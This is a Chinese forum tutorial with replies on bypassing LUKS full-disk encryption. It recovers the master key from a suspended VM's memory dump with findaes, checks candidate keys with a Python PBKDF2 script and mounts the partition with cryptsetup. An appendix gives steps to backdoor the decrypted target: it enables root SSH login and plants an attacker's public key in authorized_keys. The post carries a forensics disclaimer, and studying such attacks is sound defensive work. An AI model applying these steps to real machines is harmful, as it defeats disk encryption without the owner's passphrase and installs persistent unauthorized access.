LUKS 全盘解密实战笔记:内存提取主密钥 + 离线挂载
本帖最后由 Vvvvvoid 于 2026-5-15 23:51 编辑# LUKS 全盘解密实战笔记:内存提取主密钥 + 离线挂载
> **免责声明**:本文仅供学习计算机取证与安全防御技术,请勿用于非法用途。理解 LUKS 的弱点,才能更好地设计防御措施(如使用 TPM、避免内存长时间存留密钥、及时关闭不用的加密分区等)。
>
---
## 背景:为什么需要这条路径?
- 目标机器已启用**全盘加密**:在分区未解锁前,无法直接读取任何文件内容。
- 同时 **SSH 登录受限**(端口/用户/认证方式均受控):即使网络可达,也无法通过远程登录拿到文件。
因此,本方案选择从「**内核内存中残留的主密钥**」入手:只要系统曾经解锁过加密盘,主密钥就有机会以明文形式驻留在内核内存中,进而实现离线解密与取证分析。
---
## 0. 原理简述
LUKS(Linux Unified Key Setup)是基于 `dm-crypt` 的磁盘加密规范。加密数据的真正密钥是 **主密钥(Master Key / Volume Key)**,它由随机数生成,以加密形式存储在 LUKS Header 的密钥槽(Keyslot)中——**用户密码并不直接参与数据加解密**,它只是用来解开 Keyslot 中封装的 Master Key。
**关键弱点**:当 LUKS 分区被 `cryptsetup open` 解锁后,Master Key 会被注册进 **Linux 内核 Keyring**(dm-crypt 通过内核 key retention 机制管理),以明文形态驻留在内核地址空间,直到分区被 `cryptsetup close` 或系统重启。因此,只要能获取目标系统的完整物理内存镜像(例如通过虚拟机挂起文件、冷启动攻击等),就可以从中提取出 Master Key,离线解密整个分区——**无需知道用户密码**。
> **注**:通过 `/dev/mem` 读取内存的方式在现代 Linux(内核 3.x 起)已受 `CONFIG_STRICT_DEVMEM` 和 `CONFIG_IO_STRICT_DEVMEM` 限制,普通用户无法直接读取任意物理内存地址。本文采用虚拟机挂起(`.vmem`)的方式绕开此限制。
>
### 三个角色 + 一个验证点
| 角色 | 说明 |
| --- | --- |
| **Passphrase** | 用户输入的口令或 Keyfile,用于「打开某个 Keyslot」,不直接参与数据区加解密 |
| **KEK(Key Encryption Key)** | 由 Passphrase 经 Keyslot 的 KDF(PBKDF2/Argon2id)派生,用来解密 Keyslot Payload,还原 Master Key |
| **Master Key(Volume Key)** | 真正交给 dm-crypt 负责数据区加解密的密钥;系统解锁后以明文注册进内核 Keyring,这是内存提取的根本原因 |
| **Digest(验证点)** | LUKS Header 中存储的「Master Key 经 KDF 运算后的指纹」,用于从大量候选 AES Key 中精确筛选出正确的 Master Key |
---
## 0.1 逆向/取证视角:Header 里哪些字段真正与 Master Key 挂钩?
LUKS Header 可以粗略分成三块:**口令解锁参数**、**Master Key 校验指纹**、**数据区解密参数**。下面按本文路线(内存提取 MK → 离线验证 → 挂载)挑最关键的说。
### A) 与 Master Key 强绑定(验证候选 Key 是否为真正的 MK)
对应 **`Digests` 段**,也是本文脚本使用的核心字段:
- `Hash` / `Iterations` / `Salt` / `Digest`
可以把它理解为 Master Key 的「派生指纹」,不是简单的 `hash(MK)`,而是以 MK 为输入的 PBKDF2 运算结果:
```
# 所有参数均从 Digests 段读取,无任何硬编码
dklen = len(mk_digest) # 由 Header 中存储的 Digest 字节数决定
mk_digest == PBKDF2-HMAC-{HASH_SPEC}(password=master_key, salt=mk_salt, iterations=mk_iterations, dklen=dklen)
```
其中各参数来源:
| 参数 | 来源字段 | 说明 |
| --- | --- | --- |
| `HASH_SPEC` | `Digests.Hash` | 可以是 sha1、sha256、sha512 等,由 Header 决定,不固定 |
| `mk_salt` | `Digests.Salt` | 验证专用 salt,与 Keyslot 的 salt 无关 |
| `mk_iterations` | `Digests.Iterations` | 验证专用迭代次数 |
| `dklen` | `len(Digests.Digest)` | 读取存储的 Digest 字节数,不假设固定值 |
只有真正的 Master Key 代入计算后才能与 Header 中存储的 Digest 完全吻合。
### B) 与 Passphrase 强绑定(决定能否「用口令还原 MK」)
对应 `Keyslots` 下每个 Slot 的 KDF 参数 + 封装参数:
- `PBKDF: pbkdf2 / argon2id`(及对应的 salt、iterations / memory、time、threads 等参数)
- `Cipher / Cipher key`:加密 Keyslot Payload 使用的算法(注意:这里不是数据区的 cipher)
- `AF stripes / AF hash`:AFIS(Anti-Forensic Information Splitter)条带化参数
- `Area offset / length`:Keyslot Payload 在磁盘上的位置与长度
> **AF Stripes 的真实用途(常见误解纠正)**:AFIS 并非为了让数据「看起来噪声化」。它的真实目的是**保证密钥槽可被安全擦除**:Master Key 材料被拆分成 N 条(默认 4000)条带分散存储,重建时需要全部条带参与运算。只要任意一条被覆写,整个 Master Key 便永久不可恢复。这使得「吊销一个密钥槽」的操作在物理层面真正不可逆,是 LUKS 密钥安全删除(Secure Key Erasure)机制的核心。
>
关系链(概念上):
```
passphrase → KDF(salt, iterations) → KEK → 解密 Keyslot Payload → AFIS 复原 → master_key
```
本文路线是「绕过 Keyslot,直接从内核内存拿 MK」,所以 Keyslot 的细节不展开,但理解这条链有助于知道 Passphrase 在 LUKS 里扮演的角色。
### C) 与数据区解密强绑定(有 MK 还不够,还要知道怎么用)
对应 `Data segments` 段:
- `cipher`(如 `aes-xts-plain64` / `aes-cbc-essiv:sha256`)
- `sector`(扇区大小)
- `offset / length`(密文数据区在磁盘上的位置/长度)
关系:
```
master_key + cipher + mode + iv-generator + sector_size → 对 data segment 正确解密
```
**拿到 MK 只是「有了钥匙」,而 `Data segments` 决定「锁芯规格」(算法/模式/IV生成方式/扇区大小)。任何参数不匹配都会导致解密乱码。**
### D) 弱相关/辅助定位字段
- `UUID / Label / Subsystem / Flags / Epoch`:标识与元数据版本管理,不参与 MK 推导,但对定位同一容器、判断元数据是否被篡改有价值。
- `Tokens`(如 systemd-fido2、TPM2 绑定等):启用硬件解锁/自动解锁时,Token 提供获取解锁材料的第三条路径(本质上仍是某种方式最终拿到 KEK 或 MK)。
### 字段总结
| 目标 | 对应字段 |
| --- | --- |
| **验证候选 MK** | `Digests`(MK → PBKDF2 → Digest) |
| **从口令还原 MK** | `Keyslots`(Passphrase → KDF → KEK → 解包 + AFIS → MK) |
| **用 MK 解密数据** | `Data segments`(MK + cipher / mode / IV / offset / sector) |
---
## 1. 环境准备
本文操作需要**两台虚拟机** 配合:
| 角色 | 说明 |
| --- | --- |
| **VM1(目标机)** | 将加密硬盘作为物理启动盘,让系统自行解锁并引导,挂起后获取 `.vmem` 内存镜像文件 |
| **VM2(分析机)** | 普通 Linux 系统,以只读方式附加同一块加密硬盘,读取 LUKS Header 元数据,运行 Python 脚本验证候选密钥,最终挂载解密分区 |
**所需工具:**
- **VMware Workstation**(或其他支持挂起并生成 `.vmem` 的虚拟化软件)
- **目标加密硬盘**(通过 USB/Type-C 转接连接到宿主机,透传给 VMware)
- **`findaes`**((https://github.com/marlkiller/findaes/releases) 或自行编译)—— 运行在宿主机 Windows 上,扫描 `.vmem` 文件
- **`cryptsetup`**(安装在 VM2 分析机 Linux 中)
- **Python 3**(安装在 VM2 分析机中,用于离线验证候选密钥)
---
## 2. VM1:获取目标内存镜像(.vmem 文件)
### 2.1 准备并启动 VM1
1. 新建一个空虚拟机(无需安装系统),将目标加密硬盘配置为**唯一的物理启动盘**,并启用 UEFI 引导。
2. 启动 VM1。系统会从加密硬盘引导,自行完成 LUKS 解密并进入系统——此时 Master Key 已明文注册进内核 Keyring,驻留在物理内存中。
3. **确认系统已完全进入桌面或 Shell**(确保 LUKS 分区已完成解锁),然后在 VMware 菜单中执行 **挂起(Suspend)** 操作。
挂起完成后,VMware 将整个虚拟机内存(包含内核地址空间)转储到 `.vmem` 文件,通常位于 VM1 的目录下,例如 `vm1-fbbf6382.vmem`。
### 2.2 使用 findaes 扫描内存文件
在宿主机 Windows 上执行:
```
D:\\Download\\findaes-1.2\\findaes.exe vm1-fbbf6382.vmem
```
输出示例:
```
Searching vm1-fbbf6382.vmem
Found AES-256 key schedule at offset 0x4fd4970:
91 cd 40 07 18 fa 2f 0c 4c 63 e1 d6 d0 93 17 58 aa 98 75 47 b9 3f 11 32 6b 33 15 e1 98 66 04 c5
Found AES-256 key schedule at offset 0x6adaa30:
4a 3e e5 15 8f ec a1 1c fe b0 ae a1 1f 8d ce 32 30 5f a0 1d ba 83 0f 4d 10 52 d8 e5 f4 36 62 2b
Found AES-256 key schedule at offset 0x7eeac10:
...
```
**findaes 工作原理**:AES 在运行时会将原始密钥扩展成一张「轮密钥表(Key Schedule)」(AES-256 展开后约 240 字节),用于每轮加密运算。`findaes` 通过识别内存中符合 AES Key Schedule 数学结构的特征模式来定位它,然后从展开表中**反推还原**出原始的 32 字节密钥并输出。因此每行输出的是还原后的 **32 字节原始候选密钥**,而非 Key Schedule 本身。
候选密钥中可能包含大量误报(来自其他加密任务),需通过下一步的 PBKDF2 验证精确筛选。将所有输出的十六进制行复制保存备用。
---
## 3. VM2:获取 LUKS Header 元数据
在分析机 VM2(普通 Linux 系统)中,将同一块加密硬盘以**只读方式**附加(本例通过 M.2 转 USB 连接到 VMware 虚拟机)。
> 此步骤只需读取 LUKS Header 元数据,不需要解密分区内容,无需输入密码。
>
```bash
# 确认 LUKS 分区
blkid | grep crypto_LUKS
lsblk -f
```
输出示例:
```
# blkid | grep crypto_LUKS
/dev/sdc2: UUID="3ad80234-82e6-4ce7-9a7c-cd346e2c6b36" TYPE="crypto_LUKS"
/dev/sdc3: UUID="9c16e072-21a3-405e-9845-0516ab517893" TYPE="crypto_LUKS"
```
读取目标分区(本例为 `/dev/sdc2`)的完整 Header 信息:
```bash
cryptsetup luksDump /dev/sdc2
```
输出示例:
```
LUKS header information
Version: 2
Epoch: 4
Metadata area:16384
Keyslots area:16744448
UUID: 3ad80234-82e6-4ce7-9a7c-cd346e2c6b36
Label: (no label)
Subsystem: (no subsystem)
Flags: (no flags)
Data segments:
0: crypt
offset: 16777216
length: (whole device)
cipher: aes-cbc-essiv:sha256
sector: 512
Keyslots:
0: luks2
Key: 256 bits
Priority: normal
Cipher: aes-cbc-essiv:sha256
Cipher key: 256 bits
PBKDF: pbkdf2
Hash: sha256
Iterations: 8858086
Salt: a5 45 c7 a8 3a 2d 8d 95 fc bd da b0 c0 a4 ad a4
2c 62 f3 d7 d0 d8 1d a8 9d ed 5c 51 eb f9 7b 0f
AF stripes: 4000
AF hash: sha256
Area offset:32768
Area length:131072
Digest ID:0
Tokens:
Digests:
0: pbkdf2
Hash: sha256
Iterations: 551301
Salt: 56 d0 61 f5 bc fd 43 4f 2e c9 06 41 ab 20 10 f1
bd 23 5e 1b 04 a4 4f 02 9d 66 24 65 87 0a f8 71
Digest: 67 8e d2 4c ff d9 22 e8 73 73 86 6e 3a 6f 0b 57
30 eb 35 1c d6 36 db 17 4b 4c c1 b8 4d e2 3c 78
```
**记录 `Digests` 段中的以下关键值**,供验证脚本使用:
| 字段 | 本例值 |
| --- | --- |
| `Hash` | `sha256` |
| `Iterations` | `551301` |
| `Salt` | `56d061f5bcfd434f2ec90641ab2010f1bd235e1b04a44f029d662465870af871` |
| `Digest` | `678ed24cffd922e87373866e3a6f0b5730eb351cd636db174b4cc1b84de23c78` |
---
## 4. VM2:离线验证候选主密钥
**验证原理**:对每个候选密钥 `K`,依照 `Digests` 段中记录的参数计算:
```
dklen= len(mk_digest) # 从 Header 存储的 Digest 字节数读取,不硬编码
result = PBKDF2-HMAC-{HASH_SPEC}(password=K, salt=mk_salt, iterations=mk_iterations, dklen=dklen)
```
其中 `HASH_SPEC` 来自 `Digests.Hash`(本例为 sha256,但可以是任意算法),三个参数均从 Header 中读取,无硬编码假设。若 `result == mk_digest`,则 `K` 即为真正的 Master Key。
将 `findaes` 输出的候选密钥列表和上一步得到的 LUKS 元数据填入以下脚本,在 VM2 中运行:
```python
#!/usr/bin/env python3
"""
基于 LUKS2 header 的离线主密钥验证(PBKDF2 方式)
Usage: python3 test_luks_key.py(不需要 root,纯离线计算)
"""
import hashlib
import binascii
import sys
# ── 从 cryptsetup luksDump /dev/sdc2 的 Digests 段直接填入 ──
HASH_SPEC= "sha256"
device = "/dev/sdc2"
ITERATIONS = 551301
MK_SALT = "56d061f5bcfd434f2ec90641ab2010f1bd235e1b04a44f029d662465870af871"
MK_DIGEST= "678ed24cffd922e87373866e3a6f0b5730eb351cd636db174b4cc1b84de23c78"
# ── 候选主密钥(从 findaes.exe 或取)──
KEY_HEX_LIST = [
'91cd400718fa2f0c4c63e1d6d0931758aa987547b93f11326b3315e1986604c5',
'4a3ee5158feca11cfeb0aea11f8dce32305fa01dba830f4d1052d8e5f436622b',
'd281ce0de42ce741779071f097a98e1ecf1a22b41054282d3150a9ee572e6712',
......
]
# ────────────────────────────────────────────────────────────
def clean(hex_str):
return "".join(hex_str.split())
def verify_key(key_hex):
key_bytes = bytes.fromhex(clean(key_hex))
salt_bytes = bytes.fromhex(clean(MK_SALT))
digest_bytes = bytes.fromhex(clean(MK_DIGEST))
dklen = len(digest_bytes) # sha256 → 32 字节
x = hashlib.pbkdf2_hmac(
HASH_SPEC,
key_bytes,
salt_bytes,
ITERATIONS,
dklen=dklen
)
return x == digest_bytes
def main():
print("=" * 60)
print(f"LUKS2 主密钥离线验证({device})")
print("=" * 60)
print(" Hash : {}".format(HASH_SPEC))
print(" Iterations: {}".format(ITERATIONS))
print(" Salt : {}".format(clean(MK_SALT)))
print(" Digest : {}".format(clean(MK_DIGEST)))
print(" 候选密钥: {} 个".format(len(KEY_HEX_LIST)))
print()
found = None
for idx, key_hex in enumerate(KEY_HEX_LIST, start=1):
key_hex = key_hex.strip()
print("[{}/{}] 测试: {}".format(idx, len(KEY_HEX_LIST), key_hex))
if len(clean(key_hex)) != 64:
print(" [-] 长度错误(需 64 个字符),跳过")
continue
try:
ok = verify_key(key_hex)
except Exception as e:
print(" [!] 异常: {}".format(e))
continue
if ok:
found = key_hex
print(" ✅ PBKDF2 验证通过,主密钥正确!")
break
else:
print(" ❌ 不匹配")
print()
print("=" * 60)
if found:
print("✅有效主密钥:")
print(" {}".format(clean(found)))
print()
else:
print("❌所有候选密钥均不匹配。")
print("=" * 60)
if __name__ == "__main__":
main()
```
运行:
```bash
python3 verify_luks_mk.py
```
找到正确主密钥后,可直接执行的挂载命令。
---
## 5. VM2:使用 Master Key 直接挂载 LUKS 分区
在 VM2 中执行(以 `/dev/sdc2` 为例,将 `<master_key_hex>` 替换为实际找到的主密钥):
```bash
# 1. 将十六进制主密钥转换为二进制密钥文件
echo '<master_key_hex>' | xxd -r -p > /tmp/mk.bin
# 2. 通过主密钥打开 LUKS 分区(建立 device mapper 映射)
device="sdc2"
# cryptsetup < 2.4(旧版)
sudo cryptsetup--debugopen --master-key-file /tmp/mk.bin "/dev/${device}" "${device}"
# cryptsetup >= 2.4(新版,--master-key-file 已废弃,改用 --volume-key-file)
# sudo cryptsetup --debug open --type luks2 --key-size 256 --volume-key-file /tmp/mk.bin "/dev/${device}" "${device}"
# 追加 --debug 参数输出详细日志,便于排错
# 3. 挂载解密后的设备
sudo mkdir -p "/mnt/${device}"
sudo mount "/dev/mapper/${device}" "/mnt/${device}"
# 4. 查看数据
ls -la "/mnt/${device}"
# 5. 操作完毕后卸载并关闭(释放 device mapper 映射)
sudo umount "/mnt/${device}"
sudo cryptsetup close "${device}"
# 6. 删除明文密钥文件
rm -f /tmp/mk.bin
```
成功后,device mapper 的映射关系如下:
```
[ 物理加密硬盘 ]
|
v
/dev/sdc2 ← 原始 LUKS 分区(密文)
|
| cryptsetup open --volume-key-file /tmp/mk.bin
v
/dev/mapper/sdc2 ← dm-crypt 解密后的虚拟块设备
|
| mount
v
/mnt/sdc2 ← 可正常读写的文件系统挂载点
```
> 解密后的设备出现在 `/dev/mapper/` 下,名称由你在 `cryptsetup open` 命令中指定。至此加密盘内容可完全读取。
>
>
> **验证技巧**:可用 `dmsetup table --target crypt --showkey` 查看当前所有 dm-crypt 映射及其使用的密钥,确认挂载是否正确。
>
---
## 附:解密后修改 SSH 配置实现免密登录
成功挂载目标系统的加密盘后,可直接修改其 SSH 配置文件以实现后续免密登录。
**重要**:以下所有路径均以**挂载点为前缀**(本例为 `/mnt/sdc2`)。若省略前缀,操作的将是分析机 VM2 自身的文件系统,而非目标盘。
**1. 修改 SSH 监听端口**
```bash
1. 查看 SSH 端口
2. 允许 root 登录
3. 开启公钥认证
4. 公钥添加
- 位置: /root/.ssh/authorized_keys
- 内容: ssh-rsa AAAA... marlkiller@voidm.com
5. 权限设置
chown -R root:root /root/.ssh && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && ls -la /root/.ssh/
6. 连接命令
ssh -v -i id_rsa -p 2022 root@192.168.1.1
```
---
## 6. 补充说明
- `findaes` 可能输出大量假 Key(来自其他加密任务的 AES Key Schedule),PBKDF2 验证可精确筛出唯一正确的 Master Key。
- 如果目标系统使用 **LUKS1**,`cryptsetup luksDump` 输出格式有所不同(MK-digest 位于 Header 固定偏移处,结构与 LUKS2 的 Digests 段不同),但提取和验证的核心原理相同。
- 本方法的前提:**目标系统必须处于运行状态且 LUKS 分区已完成解锁**。已关机或从未解锁的系统,内核 Keyring 中不存在明文 Master Key,无法通过此方式提取。
- VM1 挂起前务必确认系统已完全进入(而非停留在 LUKS 解密提示界面)。
- VM2 可以是任意 Linux 发行版(Live CD 亦可),只需能识别 LUKS 分区并已安装 `cryptsetup` 和 Python 3。
---
## 7. 参考链接
- (https://blog-archive.betamao.me/2019/10/27/LUKS%E5%85%A8%E7%9B%98%E4%BF%9D%E6%8A%A4%E5%88%86%E6%9E%90/)
- (https://github.com/marlkiller/findaes)
- (https://gitlab.com/cryptsetup/cryptsetup/-/wikis/home)
- (https://gitlab.com/cryptsetup/LUKS2-docs) 记录下获取内存数据的方法之一 感谢分享,获取内存方法 感谢分享感谢大佬 @Vvvvvoid 德国的Mount Image Pro不知能不能分析下。老外的爆破全假货。 感谢大佬分享,最近正好碰到一个LUKS加密的系统{:1_893:} 这个好感谢分享 这也太溺害了吧{:1_927:}{:1_927:} 太高级了,加密软件还安全吗?比如PGP。 那些黑盒应用它们的原理是什么,能正常引导 但是你按e的时候有需要你输入luks密码,但是进入指定的应用又是可以的,这种我扫内存也没找到masterkey
页:
[1]